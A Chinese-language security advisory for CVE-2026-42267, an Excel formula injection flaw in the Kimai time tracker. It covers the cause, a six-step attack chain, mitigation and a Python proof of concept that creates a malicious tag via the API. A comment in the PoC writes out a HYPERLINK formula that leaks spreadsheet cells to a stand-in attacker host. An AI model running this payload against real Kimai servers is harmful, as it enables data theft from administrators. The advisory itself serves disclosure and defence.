IPBUF安全漏洞报告
English
CVE-2026-42267 CVSS 5.7 中危

CVE-2026-42267 Kimai Excel公式注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42267
漏洞类型
Excel公式注入
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kimai

相关标签

Excel公式注入KimaiCSV注入中危RCE

漏洞概述

Kimai是一款开源的时间跟踪应用程序。在2.27.0至2.54.0之前的版本中,该应用存在Excel公式注入漏洞。拥有ROLE_USER权限的攻击者可以通过API创建包含恶意公式字符串(如=SUM())的标签,并将其关联到时间表。当管理员导出XLSX格式的时间表并在Excel中打开时,恶意公式将被自动执行。该漏洞可能导致管理员系统上的数据泄露或被控制,目前已在2.54.0版本中修复。

技术细节

该漏洞的成因在于Kimai对用户输入的标签名称缺乏足够的净化处理。攻击者利用低权限账户通过POST请求向`/api/tags`接口发送包含公式前缀(如`=`)的数据。当管理员触发导出功能时,后端的`ArrayFormatter.formatValue()`方法直接拼接标签名称,底层OpenSpout库将前缀为`=`的字符串渲染为Excel公式单元格(`<f>`标签)。由于Excel默认支持动态数据交换(DDE)或公式执行,打开文件时即可触发攻击。虽然CVSS向量显示机密性影响为无,但结合Excel特性(如`=HYPERLINK`或`=WEBSERVICE`),实际上可造成敏感信息外传。

攻击链分析

STEP 1
1
攻击者注册或获取一个具有ROLE_USER权限的低权限账户。
STEP 2
2
攻击者向Kimai API发送POST请求,创建一个名称包含Excel公式的恶意标签(如'=SUM(54+51)')。
STEP 3
3
攻击者将该恶意标签关联到自己的时间表记录中。
STEP 4
4
管理员登录后台,为了进行审计或统计,将时间表数据导出为XLSX文件。
STEP 5
5
管理员在Excel中打开导出的XLSX文件。
STEP 6
6
Excel解析文件中的公式并执行,攻击者达到窃取数据或执行恶意操作的目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-42267: Kimai Excel Formula Injection import requests target = "https://<kimai-domain>" api_endpoint = f"{target}/api/tags" auth = ("attacker", "password") # Payload: Excel Formula that could be used for data exfiltration or command execution # Example: =HYPERLINK("http://attacker-server/?leak="&A1&"&b="&B1, "Error: Click to fix") malicious_tag_name = "=SUM(54+51)" headers = {"Content-Type": "application/json", "Accept": "application/json"} payload = {"name": malicious_tag_name, "color": "#ff0000"} try: # Step 1: Create the malicious tag response = requests.post(api_endpoint, json=payload, auth=auth, headers=headers) if response.status_code == 201: tag_id = response.json().get('id') print(f"[+] Malicious tag created with ID: {tag_id}") # Step 2: Assign tag to a timesheet (requires a valid timesheet ID) # ts_id = "<valid_timesheet_id>" # patch_payload = {"tags": [tag_id]} # requests.patch(f"{target}/api/timesheets/{ts_id}", json=patch_payload, auth=auth, headers=headers) # print(f"[+] Tag assigned to timesheet {ts_id}") else: print(f"[-] Failed to create tag: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

Kimai >= 2.27.0, < 2.54.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员限制普通用户创建自定义标签的权限,或者在导出Excel报表时,先使用文本编辑器(如Notepad++)检查XML内容,避免直接在Excel中打开来源不明的XLSX文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表